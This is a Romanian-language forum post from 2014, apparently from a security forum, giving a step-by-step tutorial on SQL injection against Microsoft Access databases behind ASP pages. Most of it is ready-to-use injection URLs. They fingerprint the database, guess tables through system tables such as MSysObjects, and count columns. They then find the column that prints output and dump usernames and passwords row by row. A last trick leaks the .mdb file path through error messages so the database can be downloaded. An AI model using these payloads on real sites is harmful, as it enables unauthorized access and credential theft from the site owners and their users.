Active Members dancezar Posted April 25, 2014 Active Members Report Posted April 25, 2014 (edited) Sql injection pe MSACCES1) IntroducereCe este Ms access?Este un sistem de stocare a datelor sub forma unei baze de date oferit de microsoft in pachetul Microsoft officeMs access stocheaza datele sub forma de fisire .mdb astfel nu v-a fi nevoie sa folositi un server dedicat pentru baza de date (ex: mysql ,mssql, postgres).Poate fi folosit si de libajele de programare web (PHP ,ASP) dar totusi cele mai intalnite cazuri sunt pe serverele IIS (asp).2) Asemanari / Deosibiri intre Ms access si Mysql spre exempluAsemanari:-Ambele folosesc ca limbaj SQL -Datele sunt structurate pe tabele si coloaneDeosebiri:-Ms access foloseste un fisier diferit pentru fiecare baza de date-Pentru a face union based in MS ACCESS trebuie sa cunoasteti numele unui tabel existent-Nu se folosesc commentarii pentru anularea sinstaxei singurul care functioneaza este %00 (NULL Byte)2) Cum gasit vulnerabilitateaCa si la mysql testam cu ajutorul ' vom obtine o eroare si in general erorile apar sub forma:Microsoft OLE DB Provider for ODBC Drivers error '80040e14'Dar totusi asta nu inseamna ca in spate se afla un un MS Access doarece se poate folosi acest OBDC si pe MSSQL.Cum testam daca acolo este MSACCES? Simplu pe MSACCES ca sa faceti union aveti nevoie de un tabel pe cand pe MSSQL nu este nevoie.Exemplu : site.com/news.asp?id=1 union select 1 -> Daca obtinem urmatoarea eroare inseamna ca sigur este MSACCESS : Query input must contain at least one table or query.Daca obtineti urmatoarea eroare inseamna ca este MSSQL : All queries in an SQL statement containing a UNION operator must have an equal number of expressions in 3) Sa trecem in paineDupa cum spuneam mai sus avem nevoie de un tabel existent pentru a putea face unionExemplu : union select null,null from tabelObservatie: Ca sa fiti sigur folositi null in loc de numere (union select 1,2,3) , sunt cazuri in care MSACCESS face diferenta intre tipuri de date (string/INTEGER)Observatie 2: Nu trebuie sa punem - in fata parametrului sau and 0, pentru anularea primului select !( id=-1 union select 1,2,3,4)1.1) Sa ghicim un tabel existent Pentru a ghici un tabel folosim o simpla sitaxa si in functie de rezultat ne vom da seama daca acolo exista acel tabel sau nu. : and (select count(*) from [tabel] limit 1)>0 Daca veti obtine o eroare de genul :The Microsoft Jet database engine cannot find the input table or query 'plm' veti stii sigur ca acest tabel nu exista daca nu inseamna ca tabelul exista! Exista cateva tabele care care exista ca default pe MSACCES: MSysACEs MSysObjects MSysQueries MSysRelationships Dar in majoritatea cazurilor acestea sunt blocate si ati putea o eroare de genul:Record(s) cannot be read; no read permission on ' Dar in cazul in care acesta se poate citi putem afla numele tabelelor deoarece acestea contin numele tabelelor Exemplu : union select null,null,Name from MSysACEs where type=1 --> sa zicem ca obtinem news il retinem union select null,null,Name from MSysACEs where type=1 and Name not in('news') --> obtinem products union select null,null,Name from MSysACEs where type=1 and Name not in('news','products') --> obtinem admin .............................................................................................................1.2) Pasul 2 sa ghicim numarul de coloane: Sunt 2 posibilitati de a numara coloanele: Order by X Sau union select null , union select null,nul , union select null,null,null pana obtinem un rezultat pozitiv Cazul fericit este cel in care se poate numara coloanele ca sa vedem daca putem numara coloanele cu order by facem in felul urmator: : site.com/news.asp?id=1 order by 1%00 ---> rezultat pozitiv site.com/news.asp?id=1 order by 1000000%00 --> daca obtinem eroarea Microsoft Jet database engine does not recognize '1000000' puteti numara coloanele cu ORDER BY asa cum erati obisnuiti pe MYSQL Cazul nefericit este atunci cand obtinem o pagina fara eroare la order by 1000000 atunci trebuie sa facem cu union pe rand Exemplu: site.com/news.asp?id=1 union selct null from tabelul_ghicit_la_pasul_1.1%00 site.com/news.asp?id=1 union selct null,null from tabelul_ghicit_la_pasul_1.1%00 site.com/news.asp?id=1 union selct null,null,null from tabelul_ghicit_la_pasul_1.1%00 ...................................................................................... Pana nu mai obtineti eroarea The number of columns in the two selected tables or queries of a union query do not match.1.3) Cautam o coloana vulnerabila . Am spus anterior ca vom folosi null in loc de numere la coloanele din union doarece exista situatia in care se face diferenta intre tipurile de date de pe coloanele din primul select cu cel injectie.Daca punem null sa fiti sigur ca nu v-a aparea nimic in pagina sursa. Cum cautam coloana vulnerabila? Spre exemplu avem : site.com/news.asp?id=1 union select null,null,null%00 Vom pune un cuvant sa zicem 'test' pe fiecare coloana iar atunci cand acel cuvant apare in pagina sursa inseamna ca am gasit o coloana vulnerabila Exemplu: site.com/news.asp?id=1 union select 'test',null,null from users%00 --> nimic in pagina sursa site.com/news.asp?id=1 union select null,'test',null%00 from users --> Bingo in pagina sursa apare test inseamna ca acea este coloana vulnerabila Pentru cazurile in care '' nu sunt permise sau eliminate folosim functia CHR(cod_ascii) site.com/news.asp?id=1 union select null,chr(74)%2bchr(65)%2bchr(73)%2bchr(74),null from users%00 --> Bingo in pagina sursa apare test inseamna ca acea este coloana vulnerabila (Echivalentul pentru 'test')1.4) Gasirea unei coloane Aici chiar nu avem ce face si vom fi nevoiti sa ghicim numele coloanelor: username ,password ,user_name,user_password,etc.. Ca sa ghicim o coloana folosim: site.com/news.asp?id=1 union select null,coloana,null from users%00 Daca obtinem rezultate concrete in pagina inseamna ca am ghicit coloana daca obtinem eroarea:Too few parameters. Expected 1 ,neeee Un trick pentru a afla prima coloana din tabelul curent este acesta site.com/news.asp?id=1 having sum(1)=1 --> veti obtine You tried to execute a query that does not include the specified expression 'coloana'1.5) Extragerea datelor Dupa ce am aflat tabelul cu date si coloanele acum mai trebuie sa extragem ceva date. Prima si prima data trebuie sa stim cate randuri trebuie sa extragem.Ca si la mysql ne folosim de COUNT(*) si obtinem numarul de randuri din tabel site.com/news.asp?id=1 union select null,count(*),null from users%00 Sa zicem ca la 1.4 am gasit coloanele : user si password. Ca sa facem dump la aceste coloane folosim sintaxa: site.com/news.asp?id=1 union select null,user%2bpassword,null from users%00 --> sa zicem ca obtinem admin:admin123 trebuie sa retinem user-ul acesta ca sa putem trece la urmatorul (de retinut %2b este +) site.com/news.asp?id=1 union select null,user%2bpassword,null from users where user not in('admin')%00 --> sa zicem ca obtinem guest site.com/news.asp?id=1 union select null,user%2bpassword,null from users where user not in('admin','guest')%00 --> sa zicem ca obtinem user site.com/news.asp?id=1 union select null,user%2bpassword,null from users where user not in('admin','guest','user')%00 --> si asa mai departe cred ca ati prins algoritmul2) Aflarea locatiei bazei de date ( fisierul .mdb) Folosim urmatoarea sintaxa; site.com/news.asp?id=1 and (select * from nimic.nimic) Si obtineti o eroarea care zice : Could not find file 'c:\server\htdocs\secret_location\nimic.mdb'. Atunci veti stii ca fisierul cu baza de date se afla in acel folder si daca avet norocul sa puteti vedea Index of( exemplu : site.com/secret_location) veti putea descaraca baza de date si obtineti datele complete Daca nu veti fi nevoiti sa ghicici numele bazei de date ( database.mdb users.mdb data_base.mdb ceva in genul)Un cheat shet mai extins:http://www.krazl.com/blog/index.php/ms-access-sql-injection-cheat-sheet/Si niste chestii mai interesante:http://seclists.org/pen-test/2003/May/74Sper sa va fie de ajutor lectura , daca da futeti un like Daca sunt greseli tehnice sau de gramatica va rog sa le semnalati Edited May 2, 2014 by danyweb09 Quote